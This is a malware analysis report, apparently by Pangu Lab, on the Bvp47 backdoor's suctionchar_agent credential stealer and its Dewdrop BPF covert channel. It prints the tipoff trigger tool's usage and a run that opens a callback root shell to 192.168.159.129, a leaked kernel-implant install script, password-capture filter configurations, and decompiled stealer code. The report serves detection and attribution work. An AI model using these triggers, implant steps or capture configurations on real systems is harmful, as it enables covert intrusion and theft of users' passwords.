



# Bvp47

## Technical Details Report II

Version 1.7

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# 1. Executive Summary

In report " Bvp47 – A Top-tier Backdoor of US NSA Equation Group " (Reference 1), Bvp47 is like a huge shell or compressed package, containing a total of 18 fragments. Pangu Labs gives attribution analysis and description of some technical details, such as BPF covert tunneling. However, there are still some other modules worth in-depth analysis. Those modules can either perform functions together as part of Bvp47 or be used independently.


In a forensic to Solaris system of one critical infrastructure in 2015, Pangu Lab extracted another sample, which survived independently on the Solaris platform and seemed to be closely related to Bvp47. After analyzing the leaked information, we confirmed that the content of the sample file was same to Suctionchar\_Agent which was leaked from The Shadow Brokers. When executed with dewdrops, incision and other modules, it can easily steal password of target system, when user is executing commands like ssh, passwd, sudo. The file stored stolen passwords in target system also requires private key of RSA algorithm for decryption.

The process of tracking Bvp47 is more like exploring a puzzle under fog. This report will further illustrate parts of working method and execution logic of Bvp47, a top-tier backdoor platform, through analysis of Suctionchar\_Agent, Dewdrop, and Bvp47\_loader.

# 2. Attack Scene Restoration of suctionchar\_agent

## Attack Scene

After repeated attempts and tracking of the execution process, Pangu Lab roughly restored attack scene of suctionchar\_agent combining with other components, as shown in following figure:



1. The sum module running in the kernel layer will assist suctionchar\_agent to steal account passwords from processes such as PASSWD, TELNET, and SU;
2. The stolen credentials will be synchronized to suctionchar\_agent running on Ring3;
3. suctionchar\_agent will save the stolen credentials to hidden directory of "/var/tmp/.xxxxxxx";
4. Attacker remotely sends trigger packet, that runs ish callback, to the BPF filter at the kernel layer;
5. The BPF filter captures the featured packet and transmits it to dewdrop in Ring3;
6. Dewdrop decrypts the data packet to obtain the ish callback command, and forwards it to incision program;

- The incision program actively executes callback command to contact C&C server, and the attacker uses `ish` to obtain the password file;
- The attacker decrypts the password file with RSA private key and then obtains stolen passwords

## ■ Scene Restoration

- Run the `tipoff` command-line program. The list of command options is as follow:

```
./tipoff -h
usage: ./tipoff [options]

* -t, --destination-address address[:port] - The address to send the trigger packet to
+ -p, --destination-port port - Port to use for sending trigger -R, --trigger-address address - The target address to use in the trigger
command data, required when using nat with
a trigger packet. The target address is used
by default.

* -a, --callback-address address[:port] - The trigger callback address
* -c, --callback-port port - The trigger callback port
-s, --source-address address[:port] - Use this source address for the trigger
-u, --source-port port - Use this port when sending tcp/udp
* -r, --protocol, --transport protocol - Transport layer protocol used to send trigger (tcp/udp/icmp)
-A, --application protocol - Application layer protocol used to send trigger (dns/smtp/sip)
-C, --command command - The command protocol identification value.
-E, --time time - The time to use, in seconds since the epoch
-K, --time-skew skew - The time skew to use, in seconds

-M, --list-icmp-options - List typical icmp options
-l, --icmp-options type,code - icmp type and code fields

-n, --raw-send [<address>:]port - Send raw trigger packet data to this address,
port. The default address is localhost.
-o, --tcp-connect - Establish tcp connection for trigger
-f, --tcp-flags flag[,flag] - tcp flags (syn, fin, rst, push, ack, urg)

-L, --list-firewall-types - Print supported firewall types to stdout
-F, --bypass-firewall type - Bypass firewall (types: pix)

-m, --mail-from address - Use this as `from` address for SMTP/SIP application protocol data
-l, --rcpt-to address - Use this as `to` address for SMTP/SIP application protocol data
-d, --dns-flags bytes - The 16-bit dns flags value

-U, --forward-offset - Use a forward offset trigger packet
-T, --start - The 16-bit start of trigger data value

-i, --start-ish - Start an incision callback listener
-x, --execute file - Use command 0x04 and start execute call back listener with given file

-q, --quiet - Do not print informational messages
-h, --help - This help message

* - Required parameter
+ - Required parameter when using TCP or UDP
```

2. The summary of key options is as follow:

Option Category	Feature
Trigger Protocol	Support TCP、UDP、ICMP
TCP Flags	syn、fin、ack、rst、push、urg
Firewall Bypass	PIX or others ; Bypass firewall and ACL by default
Application Protocol	Protocols like SMTP、SIP、DNS
Backdoor Feature 1	Execute file remotely
Backdoor Feature 2	View in remote shell
Configurations of Multiple Protocols	Configure flags of SMTP、DNS、TCP

3. Support obtaining remote shell in UDP protocol

```
[root@localhost Desktop]# ./tipoff --trigger-address 192.168.159.128 --target
-address 192.168.159.128 --target-protocol udp --target-port 738 --callback-a
ddress 192.168.159.129 --callback-port 2468 --start-ish
TRIGGER DATA
COMMAND                = 0x01
DESTINATION ADDRESS    = 192.168.159.128:738
TRANSPORT PROTOCOL     = udp (17)
TIME STAMP              = Sun Mar  6 11:45:07 2022 (1646595907)
TIME SKEW               = 43200
CALLBACK ADDRESS       = 192.168.159.129:2468
SOURCE PORT             = 64259
START OF TRIGGER       = 0x0136

Invoking ISH on port 2468...
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
25146,1
Skipping environment dump...
bash-3.00# █
```

4. The UDP packet is as follow:

18301	39829.702057	192.168.159.129	192.168.159.128	UDP	178 64259 → 738 Len=136
18302	39829.702377	192.168.159.128	192.168.159.129	ICMP	206 Destination unreachable (Port unreachable)
18303	39829.702896	192.168.159.128	192.168.159.129	TCP	74 32917 → 2468 [SYN] Seq=0 Win=5840 Len=0
18304	39829.703140	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [SYN, ACK] Seq=0 Ack=1 Win=5840
18305	39829.703448	192.168.159.128	192.168.159.129	TCP	66 32917 → 2468 [ACK] Seq=1 Ack=1 Win=5840
18306	39829.703657	192.168.159.128	192.168.159.129	TCP	194 32917 → 2468 [PSH, ACK] Seq=1 Ack=1 Win=5840
18307	39829.703851	192.168.159.129	192.168.159.128	TCP	66 2468 → 32917 [ACK] Seq=1 Ack=129 Win=5792
18308	39829.750556	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [PSH, ACK] Seq=1 Ack=129 Win=5840
18309	39829.750852	192.168.159.128	192.168.159.129	TCP	66 32917 → 2468 [ACK] Seq=129 Ack=9 Win=5840
18310	39829.751348	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [PSH, ACK] Seq=9 Ack=129 Win=5840

> Frame 18301: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface \Device\NPF\_{BD992997-9A45-4A6...}

> Ethernet II, Src: VMware\_de:9c:aa (00:0c:29:de:9c:aa), Dst: VMware\_2a:ff:ac (00:0c:29:2a:ff:ac)

> Internet Protocol Version 4, Src: 192.168.159.129, Dst: 192.168.159.128

> User Datagram Protocol, Src Port: 64259, Dst Port: 738

> Data (136 bytes)

Data: 01369b0ac86e493cd2529f35e607ebe9e98f1ceeb566b0a69e51149353d0af139293d07...

```

0000  00 0c 29 2a ff ac 00 0c 29 de 9c aa 08 00 45 00  ..)*.... ).....E.
0010  00 a4 00 01 00 00 40 11 b9 f5 c0 a8 9f 81 c0 a8  .....@. ....
0020  9f 80 fb 03 02 e2 00 90 f4 cd 01 36 9b 0a c8 6e  .....6...n
0030  49 3c d2 52 9f 35 e6 07 eb e9 e9 8f 1c ee eb 56  I<.R.5.. .....V
0040  6b 0a 69 e5 11 49 35 3d 0a f1 39 29 3d 07 e5 b5  k.i..I5= ..9)=...
0050  14 46 74 e0 c3 b9 8b 85 a0 c2 d3 60 e8 f3 ef 18  .Ft..... ..^....
0060  5e fc d4 89 3a 42 2e 4d f5 bd c9 3f e7 0c ac c5  ^...;B.M ...?.
0070  50 50 03 24 0f df 1a 50 f8 4b fa 92 45 3d 8a d3  PP.$...P .K..E=..
0080  06 55 02 5a ee ef 88 86 46 90 46 44 ad 43 9e 15  .U.Z... F.FD.C..
0090  db 01 92 7e 03 c9 ac 7d 12 78 38 d4 ce 84 72 ad  .....} x8...r.
00a0  ca 9d 23 94 ae 93 e0 31 11 18 7d d2 e6 47 01 10  ..#...1 ..}..G..
00b0  9c 5c
  
```

5. Hidden processes and files can be listed in the obtained shell

```

root      5697   5562   0 00:28 pts/2    00:00:00 bash
root      6116     1   0 01:23 ?        00:00:00 cupsd
root     24682     1   0 08:20 ?        00:00:00 /usr/bin/modload

root     24683  24682   0 08:20 ?        00:00:00 /usr/bin/modload

root     24684     1   0 08:20 ?        00:00:00 /usr/bin/modload

root     25146     1   0 11:45 ?        00:00:00 /usr/bin/modload

root     25147  25146   0 11:45 pts/3    00:00:00 /bin/bash --posix +o history
root     25178  25147   0 11:46 pts/3    00:00:00 ps -ef
bash-3.00#
  
```

6. The encrypted files in the "/var/tmp/" directory are as follows

```
bash-3.00# pwd
/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2eaa6e60
bash-3.00# ls -l
total 4
-rw----- 1 root root 154 Mar  9 09:07 d5373a146ff9f200a2376054dde25677
```

7. Use suctionchar\_decode to decrypt the encrypted files in the "/var/tmp/" directory:

```
[root@localhost Desktop]# ./suctionchar_decode__v__3.3.9.27_x86_64-linux-re
it-enterprise-4.9 444
Creating file "20220308033113_19577_passwd_test"
```

# 3. Technical Details of suctionchar\_agent

## ■ File Information

In on-site environment, we extracted one program in Solaris Sparc architecture. After comparing it with the leaked Shadow Brokers data, we confirmed the connection. The file related information is as follows:

### Sample Information Summary :

<b>Filename</b>	unknown
<b>MD5</b>	a633c1ce5a4730dafa8623a62927791f
<b>File Size (bytes)</b>	47,144
<b>The Shadow Brokers Package Name</b>	suctionchar_agents.tar.bz2
<b>Original File Name</b>	suctionchar_agent__v__3.3.7.9_sparc-sun-solaris2.9
<b>Feature</b>	Steal passwords from SSH, TELNET, FTP, PASSWD, SU, RSH, LOGIN, CSH
<b>CPU Architecture</b>	SPARC
<b>Hidden Path 2</b>	/var/tmp/.xxxxxxxxxxxxx


The CPU adaptation architecture of the sample obtained at the on-site environment is SPARC. Through correlation and attribution analysis, we found that the sample is one of the files leaked by The Shadow Brokers, namely suctionchar\_agent\_\_v\_\_3.3.7.9\_sparc-sun-solaris2.9. However, good decompiler targeting SPARC architecture is not available currently. Since there are homologous binary programs suitable for multiple platforms in the leaked file package, we refer one sample with the same function of the x86 architecture for analysis. The specific file information of the x86 architecture is as follows:

## Sample Information Summary:

<b>Filename</b>	suctionchar_agent_v_2.0.28.2_x86-linux-centos-5.1
<b>MD5</b>	4a5b7a9c5d41dbe61c669ed4cf2975e5
<b>File Size (bytes)</b>	31,649
<b>The Shadow Brokers Package Name</b>	suctionchar_agents.tar.bz2
<b>Original File Name</b>	suctionchar_agent_v_2.0.28.2_x86-linux-centos-5.1
<b>Feature</b>	Steal passwords from SSH, TELNET, FTP, PASSWD, SU, RSH, LOGIN, CSH
<b>CPU Architecture</b>	X86
<b>Bvp47 Corresponding Slice</b>	0x0E
<b>Hidden Path 2</b>	/var/tmp/.xxxxxxxxxxxxx

## Sample Correlation

According to the obtained sample "suctionchar", the corresponding original file was found in the file leaked by The Shadow Brokers as "linux/bin/suctionchar\_agents.tar.bz2/suctionchar\_agent\_v\_3.3.7.9\_sparc-sun-solaris2.9". The compressed package also includes multiple versions of suctionchar files for several platforms, dating back to 2007:



📁 suctionchar_agent_v_1.5.17.7_x86-linux-centos-5.4	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.10.1_x86-linux-mandriva-2006	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.10.4_x86-linux-redhat-enterpr...	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.11.2_x86-linux-redhat-enterpr...	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.11.3_x86-linux-slackware-10.2	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.12.1_sparc-sun-solaris2.7	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.13.1_x86-linux-fedora5	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.13.2_x86-linux-fedora6	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.13.4_x86-linux-redhat-7.3	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.17.1_x86-linux-suse-8.2	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.17.3_x86-linux-suse-10.0	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.17.4_x86-linux-tilttop-gate.nto	Added all the files inside compressed bz2 and gz files	5 years ago
📁 suctionchar_agent_v_2.0.18.1_x86-freebsd-6.2	Added all the files inside compressed bz2 and gz files	5 years ago

# Technical Analysis

## ● String Decryption

As shown in the figure below, string encryption is also the 0x47 function encryption described in Bvp47:

```
00000000 0804CF60 sub_804CF60 proc near ; CODE XREF: sub_8049840+401p
00000000 0804CF60 ; sub_8049EF0+491p ...
00000000 0804CF60 var_14 = dword ptr -14h
00000000 0804CF60 var_D = byte ptr -0Dh
00000000 0804CF60 arg_0 = dword ptr 8
00000000 0804CF60 arg_4 = dword ptr 0Ch
00000000 0804CF60 arg_8 = dword ptr 10h
00000000 0804CF60 55 push ebp
00000000 0804CF61 89 E5 mov ebp, esp
00000000 0804CF63 57 push edi
00000000 0804CF64 BF 01 00 00 00 mov edi, 1
00000000 0804CF69 56 push esi
00000000 0804CF6A 53 push ebx
00000000 0804CF6B 83 EC 08 sub esp, 8
00000000 0804CF6E 8B 75 0C mov esi, [ebp+arg_4]
00000000 0804CF71 8B 5D 08 mov ebx, [ebp+arg_0]
00000000 0804CF74 0F B6 06 movzx eax, byte ptr [esi]
00000000 0804CF77 46 inc esi
00000000 0804CF78 8B 45 F3 mov [ebp+var_D], al
00000000 0804CF7B 8B 45 10 mov eax, [ebp+arg_8]
00000000 0804CF7E 40 inc eax
00000000 0804CF7F 89 45 EC mov [ebp+var_14], eax
00000000 0804CF82 39 C7 cmp edi, eax
00000000 0804CF84 73 27 jnb short loc_804CFAD
00000000 0804CF86 8D 76 00 lea esi, [esi+0]
00000000 0804CF89 8D BC 27 00 00 00 lea edi, [edi+0]
00000000 0804CF90 loc_804CF90: ; CODE XREF: sub_804CF60+4B1j
00000000 0804CF90 0F B6 06 movzx eax, byte ptr [esi]
00000000 0804CF93 89 F9 mov ecx, edi
00000000 0804CF95 47 inc edi
00000000 0804CF96 0F B6 55 F3 movzx edx, [ebp+var_D]
00000000 0804CF9A 46 inc esi
00000000 0804CF9B 30 C2 xor dl, al
00000000 0804CF9D 30 CA xor dl, cl
00000000 0804CF9F 80 F2 47 xor dl, 47h
00000000 0804CFA2 8B 13 mov [ebx], dl
00000000 0804CFA4 43 inc ebx
00000000 0804CFA5 00 45 F3 add [ebp+var_D], al
00000000 0804CFA8 3B 7D EC cmp edi, [ebp+var_14]
00000000 0804CFAB 72 E3 jb short loc_804CF90
00000000 0804CFAD loc_804CFAD: ; CODE XREF: sub_804CF60+241j
00000000 0804CFAD 8B 45 08 mov eax, [ebp+arg_0]
00000000 0804CFB0 83 C4 08 add esp, 8
00000000 0804CFB3 5B pop ebx
00000000 0804CFB4 5E pop esi
00000000 0804CFB5 5F pop edi
00000000 0804CFB6 5D pop ebp
00000000 0804CFB7 C3 retn
00000000 0804CFB7 sub_804CF60 endp
```

The list of decrypted strings is as follow:

Address	Length	Type	String
.rodata:08006...	0000000A	C	/dev/null
.rodata:08006...	00000021	C	a0b973925e397d9acd80e85e2eaa6e60
.rodata:08007...	00000008	C	%s#fork
.rodata:08007...	00000007	C	(null)
.rodata:08007...	0000000A	C	^/dev/tty
.rodata:08007...	00000038	C	^((/usr/(local)?/s?bin/)?(ssh telnet ftp passwd)( \$)
.rodata:08007...	00000021	C	d5373a146ff9f200a2376054dde25677
.rodata:08007...	00000021	C	dc9cb44a723d0e75201d933159834173
.rodata:08007...	00000021	C	dc9cb44a723d0e75201d933159834173
.rodata:08007...	00000006	C	/proc
.rodata:08007...	0000000D	C	/proc/%s/exe
.rodata:08007...	00000011	C	/proc/%s/cmdline
.rodata:08007...	0000000C	C	/dev/random
.rodata:08007...	0000000D	C	/dev/urandom

The relevant decryption script is as follow:

```
tgs = []
for addr in range(ea_start, ea_end):
    if idc.get_name(addr) != '':
        tgs.append(addr)
tgs.append(ea_end)
for i in range(0, len(tgs)):
    bdec = b''
    length = tgs[i + 1] - tgs[i]
    benc = ida_bytes.get_bytes(tgs[i], length)
    x = benc[0]
    for j in range(1, len(benc)):
        bdec += struct.pack('<B', benc[j] ^ 0x47 ^ x ^ j)
        if bdec[-1] == 0:
            break
    x = (x + benc[j]) & 0xff
    ida_bytes.put_bytes(tgs[i], bdec)
    ida_bytes.create_strlit(tgs[i], tgs[i] + len(bdec), idc.get_inf_attr(idc.INF_STRTYPE))
    print('%x, %x, %x, %s' % (tgs[i], length, tgs[i], bdec))
```

## ● Function Module Design

The file "Linux\etc\lopscript.txt" has a description of suctionchar's function. It steals account and password in programs such as SSH, TELNET, FTP, PASSWD, SU, RSH, LOGIN, and CSH. The suctionchar\_agent program is just an application layer agent, which communicates with the associated kernel module to obtain the required information and encrypts it and writes it to a file. The kernel module sum file (not included in The Shadow Brokers Leaks) can be loaded by the modload program. After the kernel module is successfully loaded, the dropped files will be deleted to prevent the content from being restored:

```
#####
# SUCTIONCHAR
#####
#   32 or 64 bit OS - solaris sparc 8,9
#   Kernel level implant - transparent, sustained, or realtime
#   interception of procoess input/output vnode traffic.
#   retrieve later

#   filter: ssh, telnet, rlogin, rsh, password, login, csh , su

# max bytes collected per session is 32 kilobytes
# max bytes collected for all sessions is 1 megabyte
# don't take up more than 1% of system's memory

# to determine if suctionchar is loaded on a system is to
# open a command channel to the implant as described in
# authenticate and yyserv tool and demo sections. If this
# fails and receives the error "Bad Address" when trying to
# modload the instant grat module; function call needs patch
# can't be found, probably because already been patched by a
# version of suctionchar already running

# SUCTIONCHAR will go away at reboot
# if offset involved with target, must set op box time to match target time

# INSTALLING SUCTIONCHAR
uname -a
isainfo -v

-cd /tmp/.scsi

cp /usr/sbin/modload ml
cp /usr/sbin/modinfo mi

### if running 32 AND 64 bit, upload 64 bit:
# 64 bit
-put /current/up/sparcv9/sum sum
# else 32 bit
-put /current/up/sum sum

-lt sum
### install it:
./ml sum

### make sure sum doesn't show up in modinfo:
./mi
```

The suctionchar\_agent file has a default configuration, and also support external configuration file. The file formats mainly are XML format of version 3.x and above and the earlier conf format.

XML format of versions above 3.x ("Linux\bin\suctionchar\_configure.xml"):

```
<!--
| An example SUCTIONCHAR XML Configuration File
-->
<Suctionchar>
  <!--
  | The maximum exfiltration file size
  -->
  <limit>5242880</limit>

  <!--
  | Collect on the SSH, TELNET, FTP, and PASSWD clients

  | Passwords are often read "securely" through /dev/tty. The
  | rest of the session is exchanged over the standard file
  | descriptors 0, 1, and 2.
  -->
  <task>
    <command>^( (/usr(/local)? )/?s?bin/)?(ssh|telnet|ftp|passwd)( |$)</command>
    <limit>51200</limit>
    <descriptor>0</descriptor>
    <descriptor>1</descriptor>
    <descriptor>2</descriptor>
    <path>^/dev/tty</path>
  </task>
</Suctionchar>
```

"Linux\doc\old\etc\suctionchar.sample.filter.conf" :

```
filter 0
| name = ssh
| collect = read AND write
end

filter 1
| name = rsh
| collect = read AND write
| offspring = yes ; rsh forks another process
end

filter 2
| name = telnet
| collect = read AND write
end

filter 3
| name = rlogin
| collect = read AND write
| offspring = yes ; rlogin forks another process
end
```

suctionchar\_configure will generate the "dc9cb44a723d0e75201d933159834173" file, which is used by the agent:

```
usage: ./suctionchar_configure__v__3.3.10.3_x86-linux-centos-5.7 [ XML_CONFIG
URATION_FILE | -r ]
```

This tool is used to generate a SUNCTIONCHAR binary configuration file from an XML configuration specification. The XML data is read from standard input if no file specified on the command line

This tool can also be used to verify a generated binary file by using the -r option

This tool will always write to and read from the file ./dc9cb44a723d0e75201d933159834173

## ● Thread of Collecting Password

In the suctionchar\_agent, there is a separate thread that communicates with the kernel module sum to obtain the account password and write it to the /var/tmp/ folder, that is, inside the sub\_8049EF0 function:

```
30     if ( v0 )
31     {
32         switch ( v0 )
33         {
34             case 1:
35                 v6 = 5;
36                 v5 = "scp";
37                 break;
38             case 2:
39                 v6 = 8;
40                 v5 = "telnet";
41                 break;
42             case 3:
43                 v6 = 5;
44                 v5 = "ftp";
45                 break;
46             default:
47                 v6 = 8;
48                 v5 = "passwd";
49                 break;
50         }
51     }
52     else
53     {
54         v6 = 5;
55         v5 = "ssh";
56     }
57     if ( v7 > 5u )
58     {
59         v7 = 0;
60         v3 = v9;
61     }
62     else
63     {
64         v2 = v7++;
65         v3 = &v9[16 * v2];
66     }
67     v11 = sub_804CF60(v3, v5, v6);
68     *(_DWORD *)v8 = 0;
69     if ( sub_804C420((int)v8, 1) )
70         break;
71     if ( sub_804C840(*(_DWORD *)v8, v12) )
72         break;
73     if ( sub_804C8C0(*(_DWORD *)v8, 0) )
74         break;
75     if ( sub_804C8C0(*(_DWORD *)v8, 1) )
76         break;
77     if ( sub_804C8C0(*(_DWORD *)v8, 2) )
78         break;
79     if ( sub_804C900(v8[0], v1) )
80         break;
81     if ( sub_804C730(v8[0], v11) )
82         break;
83     result = sub_804AEE0(*(_DWORD *)v8, sub_80497E0, 0);
84     if ( result )
85         break;
86     if ( (unsigned __int8)v0 > 4u )
87         return result;
88 }
89 return 257;
90 }
```

## Callback function sub\_8049A00:

```
1|int __cdecl sub_8049A00(char *s, int a2)
2|{
3|  int v2; // edi
4|  int v3; // esi
5|  size_t v5; // ebx
6|  time_t v6; // eax
7|  ssize_t v7; // eax
8|  char v8; // [esp+4Fh] [ebp-89h]
9|  int v9[3]; // [esp+50h] [ebp-88h] BYREF
10| char buf; // [esp+5Fh] [ebp-79h] BYREF
11|  struct stat stat_buf; // [esp+60h] [ebp-78h] BYREF
12|
13|  v2 = -1;
14|  buf = 1;
15|  v8 = 0;
16|  v3 = sub_804DF10(&mutex);
17|  if ( !v3 )
18|  {
19|    v8 = 1;
20|    if ( fd >= 0 )
21|    {
22|      if ( !_fxstat(3, fd, &stat_buf) || stat_buf.st_nlink )
23|        goto LABEL_15;
24|      if ( fd >= 0 )
25|      {
26|        close(fd);
27|        fd = -1;
28|      }
29|    }
30|    fd = open(&g_s, 1090, 384);
31|    if ( fd < 0 )
32|    {
33|LABEL_18:
34|      v3 = -1;
35|      goto LABEL_3;
36|    }
37|LABEL_15:
38|    v2 = lseek(fd, 0, 2);
39|    if ( v2 >= 0 )
40|    {
41|      v5 = strlen(s) + 1;
42|      if ( v5 + v2 + 17 <= 0x500000 )
43|      {
44|        if ( write(fd, &buf, 1u) == 1 )
45|        {
46|          a2 = HIBYTE(a2) | ((unsigned int)a2 >> 8) & 0xFF00 | (BYTE1(a2) << 16) | ((unsigned __int8)a2 << 24);
47|          if ( write(fd, &a2, 4u) == 4 )
48|          {
49|            v6 = time(0);
50|            v9[0] = ((unsigned int)(v6 >> 31) >> 24) | ((unsigned int)(v6 >> 31) >> 8) & 0xFF00 | ((unsigned __int8)((unsigned __int16)(v6 >> 31) >> 8) << 16) | (v6 >> 31 << 24);
51|            v9[1] = HIBYTE(v6) | ((unsigned int)v6 >> 8) & 0xFF00 | (BYTE1(v6) << 16) | ((unsigned __int8)v6 << 24);
52|            if ( write(fd, v9, 8u) == 8 )
53|            {
54|              a2 = HIBYTE(v5) | (v5 >> 8) & 0xFF00 | (BYTE1(v5) << 16) | (v5 << 24);
55|              if ( write(fd, &a2, 4u) == 4 )
56|              {
57|                sub_804D120(s, v5);
58|                v7 = write(fd, s, v5);
59|                if ( v7 >= 0 && v7 == v5 )
60|                  goto LABEL_6;
61|              }

```

## ● File Path Generation Algorithm for Saving Password

The generation algorithm of the hidden file "/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2ea a6e60/d5373a146ff9f200a2376054dde25677" is described in the function get\_hidden\_path\_0804BDF0:

```

1 int __cdecl get_hidden_path_00048DF0(char *s, int a2)
2 {
3     const char *v3; // eax
4     int v4; // edi
5     char *v5; // eax
6     unsigned int v6; // eax
7     char *format; // [esp+24h] [ebp-1B4h]
8     int v8; // [esp+28h] [ebp-1B0h]
9     __fsblkcnt_t v9; // [esp+2Ch] [ebp-1ACh] BYREF
10    struct stat v10; // [esp+30h] [ebp-1A8h] BYREF
11    char v11[11]; // [esp+90h] [ebp-148h] BYREF
12    char v12[11]; // [esp+98h] [ebp-13Dh] BYREF
13    char v13[11]; // [esp+A6h] [ebp-132h] BYREF
14    char v14[11]; // [esp+B1h] [ebp-127h] BYREF
15    char v15[11]; // [esp+BCh] [ebp-11Ch] BYREF
16    char v16[25]; // [esp+C7h] [ebp-11h] BYREF
17    char *filename[4]; // [esp+E0h] [ebp-F8h]
18    char *file; // [esp+F0h] [ebp-E8h]
19    int v19; // [esp+F4h] [ebp-E4h]
20    struct stat stat_buf; // [esp+100h] [ebp-D8h] BYREF
21    struct statvfs v21; // [esp+160h] [ebp-78h] BYREF
22    int v22[10]; // [esp+1B0h] [ebp-28h] BYREF
23
24    v8 = 0;
25    if ( !s || !a2 )
26        return -268435447;
27    filename[0] = sub_804CF60(v11, "/var/tmp/", 11);
28    filename[1] = sub_804CF60(v12, "/lib/", 7);
29    filename[2] = sub_804CF60(v13, "/dev/", 7);
30    filename[3] = sub_804CF60(v14, "/etc/", 7);
31    file = sub_804CF60(v15, "/", 3);
32    v19 = 0;
33    format = sub_804CF60(v16, aS01611x, 12);
34    if ( statvfs(file, &v21) || __xstat(3, file, &stat_buf) )// 获取"/"的iblocks数量
35        return 1536;
36    v3 = filename[0];
37    v4 = 0;
38    if ( filename[0] )
39    {
40        while ( __xstat(3, v3, &v10) || stat_buf.st_dev != v10.st_dev )
41        {
42            v3 = filename[++v4];
43            if ( !v3 )
44                return 1536;
45        }
46        v5 = filename[v4];
47    }
48    else
49    {
50        v5 = 0;
51    }
52    if ( !v5 )
53        return 1536;
54    v9 = v21.f_blocks;
55    sub_804D2F0((int)&v9, 4, (int)v22); // 尝试进行md5计算
56    v6 = sprintf(s, "(%dWORD *)a2, format, filename[v4], v22[0], v22[1] + 1; // 拼接完整路径名称
57    if ( v6 <= "(%dWORD *)a2 )
58    {
59        "(%dWORD *)a2 = v6;
60    }
61    else

```

The restored code is roughly as follows:

```

md5_context ctx;
unsigned int blocks;
int rv;
struct statvfs buf; rv = statvfs("/", &buf);
blocks = buf.f_blocks;
char path[ 2048 ];
struct stat sbuf;

md5_starts(&ctx);
md5_update(&ctx, (char*)&blocks, 4);
unsigned char out[16];
md5_finish(&ctx, out);

memset( path, 0, sizeof(path) );
sprintf( path, sizeof(path) - sizeof(*path), "/var/tmp/.%016llx/", (
(int*)out)[0], ((int*)out)[1] );

```

## ● Private Key of suctionchar\_decode

As described in the scene, the file `"/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2eaa6e60/d5373a146ff9f200a2376054dde25677"` can be decrypted by the `"linux/bin\suctionchar_decode"` program, and the encryption algorithm needs to use the RSA private key to decrypt the RC6 symmetric key file. Like the private key in Dewdrops, this RSA private key can also support the association between the backdoor and The Shadow Brokers leaked data package.

```
.text:0804BD68          jmp     loc_804C474
.text:0804BD6D          ; -----
.text:0804BD6D          loc_804BD6D:          ; CODE XREF: main+211fj
.text:0804BD6D          sub     esp, 8
.text:0804BD70          push   offset aOk      ; "ok\n"
.text:0804BD75          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BD78          call   _fprintf
.text:0804BD80          add     esp, 10h
.text:0804BD83          sub     esp, 8
.text:0804BD86          push   offset aDecryptingInto ; "decrypting into rc6 key and mi..."
.text:0804BD88          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BD91          call   _fprintf
.text:0804BD96          add     esp, 10h
.text:0804BD99          sub     esp, 0Ch
.text:0804BD9C          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BDA2          call   _fflush
.text:0804BDA7          add     esp, 10h
.text:0804BDAA          sub     esp, 4
.text:0804BDAD          lea    eax, [ebp+var_268]
.text:0804BDB3          push   eax             ; int
.text:0804BDB4          lea    eax, [ebp+var_202F8]
.text:0804BDBA          push   eax             ; s
.text:0804BDBB          lea    eax, [ebp+s]
.text:0804BDC1          push   eax             ; int
.text:0804BDC2          call   rsa_expon_decrypt128 ; RSA私钥解密函数
.text:0804BDC7          add     esp, 10h
.text:0804BDCA          cmp     eax, 1
.text:0804BDCD          jz     short loc_804BDF4
.text:0804BDCF          sub     esp, 8
.text:0804BDD2          push   offset aCheckDidNotAut ; "check did not authenticate. something..."
.text:0804BDD7          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BDDD          call   _fprintf
.text:0804BDE2          add     esp, 10h
.text:0804BDE5          mov     [ebp+var_20364], 4
.text:0804BDEF          jmp     loc_804C474
.text:0804BDF4          ; -----
.text:0804BDF4          ;
```

# 4. Technical Details of dewdrop version 3.x

The Dewdrop module undertakes the most important hidden backdoor function, that is, the BPF filtering function. This chapter mainly discusses the implementation process corresponding to the BPF engine communication.

## Initialization of BPF Covert Communication Process

1. The initialization of BPF covert backdoor starts from function `_554a7941`;

```
000001CE EB 1F          jmp     6_1496_00000007, 4
080001D0          ; -----
080001D0          ; CODE XREF: _554a7941+AD1j
080001D0          loc_80001D0:
080001D0 C7 45 E4 00 00 00 00  mov     [ebp+stat_loc], 0
080001D7 8D 45 E4          lea    eax, [ebp+stat_loc]
080001DA 89 04 24          mov     [esp], eax          ; stat_loc
080001DD E8 F6 9C 00 00    call   wait
080001E2 85 C0            test   eax, eax
080001E4 7E 65            jle    short loc_8000248
080001E6 80 3D A4 7F 00 01  cmp    g_flag_ba2b4064, 1
080001ED 75 52            jnz    short loc_8000241
080001EF          loc_80001EF:
080001EF          ; CODE XREF: _554a7941+7E1j
080001EF          ; _554a7941+EF1j
080001EF E8 10 9D 00 00    call   fork
080001F4 A3 A0 7F 00 08    mov     _2883ab43, eax
080001F9 85 C0            test   eax, eax
080001FB 7C 4E            jl     short loc_8000248
080001FD 7F D1            jg     short loc_80001D0
080001FF C7 04 24 02 00 00 00  mov     dword ptr [esp], 2 ; sig
08000206 31 D2            xor    edx, edx
08000208 89 54 24 04          mov     [esp+4], edx          ; handler
